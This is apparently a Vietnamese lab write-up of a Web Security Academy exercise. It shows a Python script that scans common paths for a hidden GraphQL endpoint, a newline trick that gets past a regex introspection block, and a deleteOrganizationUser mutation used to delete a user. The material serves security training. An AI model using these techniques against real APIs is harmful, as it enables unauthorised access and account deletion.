Lab: Finding a hidden GraphQL endpoint
Source: Dev.to
Mô tả
The user management functions for this lab are powered by a hidden GraphQL endpoint. You won’t be able to find this endpoint by simply clicking pages in the site. The endpoint also has some defenses against introspection.
To solve the lab, find the hidden endpoint and delete carlos.
Phân tích vấn đề
Recon
Lab không expose endpoint GraphQL rõ ràng (không có /graphql, /graphiql, v.v.). Ta cần thử các path phổ biến.
COMMON_GRAPHQL_PATHS = [
"/api",
"/graphql",
"/api/graphql",
"/v1/graphql",
"/v2/graphql",
"/gql"
]
Khai thác
Bước 1: Scanning for hidden GraphQL endpoint
Viết script Python để tìm endpoint.
import requests
BASE_URL = "https://0a0a00d00322650a805644e4006800a4.web-security-academy.net"
# Cookie lấy từ request /login
COOKIES = {
"session": "XHAvkzbOEaTNhOHFhW6sCjzHp1nRV6a1"
}
HEADERS = {
"User-Agent": "Mozilla/5.0",
"Accept": "application/json"
}
# Các endpoint hay gặp trong thực tế
COMMON_GRAPHQL_PATHS = [
"/api",
"/graphql",
"/api/graphql",
"/v1/graphql",
"/v2/graphql",
"/gql"
]
TEST_QUERY = "query{__typename}"
def is_graphql_endpoint(path):
url = BASE_URL + path
params = {"query": TEST_QUERY}
try:
r = requests.get(
url,
headers=HEADERS,
cookies=COOKIES,
params=params,
timeout=5
)
if r.status_code == 200 and "__typename" in r.text:
print(f"[+] GraphQL endpoint FOUND: {path}")
print(r.text)
return True
else:
print(f"[-] {path} -> Not GraphQL")
except Exception as e:
print(f"[!] {path} -> Error: {e}")
return False
if __name__ == "__main__":
print("[*] Scanning for hidden GraphQL endpoint...\n")
for path in COMMON_GRAPHQL_PATHS:
if is_graphql_endpoint(path):
break
Kết quả tìm được:

Bước 2: Bypass introspection defense
Thử gửi introspection query chuẩn, server dùng regex đơn giản để block chuỗi __schema{. GraphQL bỏ qua whitespace/newline, nhưng regex có thể không xử lý tốt, vì vậy có thể bypass bằng cách chèn newline.

Bypass bằng \n:

Sau khi có được schema, ta thấy có một mutation nguy hiểm "name": "deleteOrganizationUser".
Ta cần tìm id của carlos để xóa:
query {
getUser(id: ...) {
id
username
}
}

Submit
Xóa tài khoản carlos thông qua deleteOrganizationUser.

DONE!